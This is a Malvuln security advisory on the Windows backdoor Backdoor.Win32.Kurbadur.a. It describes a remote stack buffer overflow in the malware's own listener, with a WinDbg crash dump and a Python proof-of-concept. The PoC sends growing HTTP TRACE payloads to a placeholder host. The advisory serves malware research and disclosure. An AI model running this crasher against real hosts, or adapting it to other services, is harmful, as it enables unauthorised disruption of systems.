Discovery / credits: malvuln - Malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/821d3d5a9b15dc3388fe17f233cce296.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Kurbadur.a Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 21220, by sending incrementing HTTP TRACE requests with an increasing payload size, we trigger buffer overflow overwriting EIP. Upon running a fake error message box will appear, the specimen also trys to connect to SMTP port 25. Type: PE32 MD5: 821d3d5a9b15dc3388fe17f233cce296 Vuln ID: MVID-2021-2023 Dropped files: Crss.exe ASLR: False DEP: False Safe SEH: True Disclosure: 01/12/2021 Memory Dump: *** WARNING: Unable to verify checksum for Crss.exe *** ERROR: Module load completed but symbols could not be loaded for Crss.exe Crss+0x1c5a: 00011c5a 8902 mov dword ptr [edx],eax ds:002b:41414141=???????? 0:000> .ecxr eax=41414141 ebx=04208a38 ecx=41414141 edx=41414141 esi=00000014 edi=000ac614 eip=00011c5a esp=0040143c ebp=000ac618 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Crss+0x1c5a: 00011c5a 8902 mov dword ptr [edx],eax ds:002b:41414141=???????? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: Crss+1c5a 00011c5a 8902 mov dword ptr [edx],eax EXCEPTION_RECORD: 004feb08 -- (.exr 0x4feb08) ExceptionAddress: 00011c5a (Crss+0x00001c5a) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 41414141 Attempt to write to address 41414141 PROCESS_NAME: Crss.exe OVERLAPPED_MODULE: Address regions for 'mswsock' and 'dataexchange.dll' overlap ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: user32!_InternalCallWinProc+0 764ee090 55 push ebp MOD_LIST: NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 CONTEXT: 004feb58 -- (.cxr 0x4feb58) eax=41414141 ebx=04208a38 ecx=41414141 edx=41414141 esi=0000001c edi=000ac614 eip=00011c5a esp=004fefb8 ebp=000ac618 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 Crss+0x1c5a: 00011c5a 8902 mov dword ptr [edx],eax ds:002b:41414141=???????? Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 000120fe to 00011c5a FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_STACK_OVERFLOW_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141 STACK_TEXT: 004fefb8 00011c5a crss+0x1c5a 004fefc0 000120fe crss+0x20fe 004fefd4 000122a0 crss+0x22a0 004feffc 00012727 crss+0x2727 004ff0fc 000a786d crss+0x9786d 004ff8c4 0006fc0d crss+0x5fc0d 004ff8d8 0006eb95 crss+0x5eb95 004ff8fc 0006f11c crss+0x5f11c 004ff920 0002d1d2 crss+0x1d1d2 004ff938 764ee0bb user32!_InternalCallWinProc+0x2b 004ff964 764f8849 user32!InternalCallWinProc+0x20 004ff988 764fb145 user32!UserCallWinProcCheckWow+0x1be 004ffa58 764e90dc user32!DispatchMessageWorker+0x4ac 004ffac4 764e38c0 user32!DispatchMessageA+0x10 004ffacc 0006b6f4 crss+0x5b6f4 004ffb6c 0007b1c2 crss+0x6b1c2 004ffb94 0007ce34 crss+0x6ce34 004ffbd8 0007e141 crss+0x6e141 004ffc10 0007e252 crss+0x6e252 004ffc44 0007ecd7 crss+0x6ecd7 004ffc7c 0007dbdc crss+0x6dbdc 004ffccc 000a1115 crss+0x91115 004ffd2c 000a1b8c crss+0x91b8c 004ffde4 00064483 crss+0x54483 004ffe08 00064163 crss+0x54163 004fff4c 0006b864 crss+0x5b864 004fff70 000a8450 crss+0x98450 004fff88 76e38654 kernel32!BaseThreadInitThunk+0x24 004fff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f 004fffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b SYMBOL_NAME: user32!_InternalCallWinProc+0 FOLLOWUP_NAME: MachineOwner MODULE_NAME: user32 IMAGE_NAME: user32.dll DEBUG_FLR_IMAGE_TIMESTAMP: 0 STACK_COMMAND: .cxr 00000000004FEB58 ; kb ; dds 4fefb8 ; kb FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!_InternalCallWinProc Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=21220 sz = 2000 c=1 def doit(): global c, sz while True: s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) s.settimeout(0.2) sz += 1000 JUNK="A"*sz PAYLOAD="TRACE /"+JUNK+" HTTP/1.1\r\nHTTP/1.0-99999\r\nHost: "+JUNK+"\r\n\r\n" s.send(PAYLOAD) s.close() time.sleep(0.2) c+=1 if c==60: print("Backdoor.Win32.Kurbadur.a / Remote Stack Buffer Overflow") print("MD5: 821d3d5a9b15dc3388fe17f233cce296") print("By Malvuln") break if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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